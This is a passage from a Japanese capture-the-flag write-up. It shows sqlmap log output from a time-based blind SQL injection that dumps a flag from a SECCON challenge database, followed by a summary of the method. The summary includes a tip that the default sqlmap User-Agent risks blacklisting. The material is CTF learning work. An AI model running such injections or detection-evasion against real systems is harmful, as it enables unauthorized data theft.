[01:53:44] [INFO] fetching entries of column(s) '`value`' for table 'flags' in database 'shooter_staging'
[01:53:44] [INFO] fetching number of column(s) '`value`' entries for table 'flags' in database 'shooter_staging'
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
.............................. (done)
[01:53:45] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
1
[01:53:47] [WARNING] (case) time-based comparison requires reset of statistical model, please wait..............................  (done)                         
SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N}
Database: shooter_staging
Table: flags
[1 entry]
+-------------------------------------------+
| value                                     |
+-------------------------------------------+
| SECCON{1NV4L1D_4DM1N_P4G3_4U+H3NT1C4T10N} |
+-------------------------------------------+

[01:58:37] [INFO] table 'shooter_staging.flags' dumped to CSV file '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp/dump/shooter_staging/flags.csv'
[01:58:37] [INFO] fetched data logged to text files under '/root/.sqlmap/output/staging.shooter.pwn.seccon.jp'

[*] shutting down at 01:58:37

flagsテーブルのvalue列の値にセットされていたフラグを取得できた。

まとめ

実際に、sqlmapでTime-Based Blind SQL Injectionが成功した。

CTFにおいては、攻める対象の項目等が特定できていれば、実際に活用可能と考えられる。
ただ、大量リクエストによるブロックに気を付ける必要があるし、他にもsqlmapのUserAgentはデフォルトのままだとsqlmap利用だとわかってしまいブラックリストに入れられてしまう可能性が高いと考えられる。

注意は必要であるが、SQLインジェクションに対する脆弱性があることがわかっているのに、どうやってテスト用のSQLを組み立てればいいのかわからないといったケースでは、一度、試してもよいかもしれない。